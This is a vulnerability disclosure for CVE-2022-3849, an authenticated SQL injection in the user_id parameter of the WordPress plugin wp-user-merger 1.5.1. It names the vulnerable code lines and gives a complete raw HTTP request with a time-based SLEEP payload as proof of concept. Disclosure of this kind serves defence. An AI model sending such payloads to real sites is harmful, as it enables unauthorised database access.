wp-user-merger 1.5.1 (3/3) WordPress plug-in SQL injection
Vulnerability Metadata
| Key | Value |
|---|---|
| Date of Disclosure | November 07 2022 |
| Affected Software | wp-user-merger |
| Affected Software Type | WordPress plugin |
| Version | 1.5.1 |
| Weakness | SQL Injection |
| CWE ID | CWE-89 |
| CVE ID | CVE-2022-3849 |
| CVSS 3.x Base Score | 8.8 |
| CVSS 2.0 Base Score | n/a |
| Reporter | Kunal Sharma, Daniel Krohmer |
| Reporter Contact | k_sharma19@informatik.uni-kl.de |
| Link to Affected Software | https://wordpress.org/plugins/wp-user-merger/ |
| Link to Vulnerability DB | https://nvd.nist.gov/vuln/detail/CVE-2022-3849 |
Vulnerability Description
The user_id GET query parameter in wp-user-merger 1.5.1 is vulnerable to SQL injection. An authenticated attacker may abuse the user-edit functionality of the WordPress(user-edit.php) to craft a malicious GET request.
Exploitation Guide
Login as admin user. This attack requires at least admin privileges.
Go to All Users in WordPress dashboard, click on edit under any user.
Clicking the user edit functionality triggers the vulnerable request, user_id is the vulnerable query parameter.
A POC may look like the following request:
In the code, the vulnerability is triggered by un-sanitized user input of user_id at line 509 in ./inc/functions.php.
At line 534 in ./inc/functions.php the parameter is passed to variable- $cq . Subsequently, database query call (line 537) on $cq leads to SQL injection.
Exploit Payload
Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.
Since the database query call (line 537) on $cq is called 4 times(based on $course_meta_keys array), we can notice the sleep time of the request being four times the given argument in SLEEP()(~12,000 milliseconds here as SLEEP(3)).
The SQL injection can be triggered by sending the request below:
GET /wp-admin/user-edit.php?user_id=19+AND+(SELECT+7741+FROM+(SELECT(SLEEP(3)))hlAf)&wp_http_referer=%2Fwp-admin%2Fusers.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/users.php
Connection: close
Cookie: wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1666185599; wp-settings-8=libraryContent%3Dbrowse; wp-settings-time-8=1666389039; wordpress_test_cookie=WP%20Cookie%20check; wordpress_c9db569cb388e160e4b86ca1ddff84d7=newadmin%7C1666566701%7COfIsPG6DZPN1yTZcYsQ9O8Co7ADOvG6nne9kO5iGtqs%7C0abf94c1e22528cf048ff22b03d79223ba73c502056deb9a9ce748fa0c03b2c0; wordpress_logged_in_c9db569cb388e160e4b86ca1ddff84d7=newadmin%7C1666566701%7COfIsPG6DZPN1yTZcYsQ9O8Co7ADOvG6nne9kO5iGtqs%7C9bf5c239139b198a8856c9927f2cf4835b8583556b6e07b6270ec1284a59f953
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1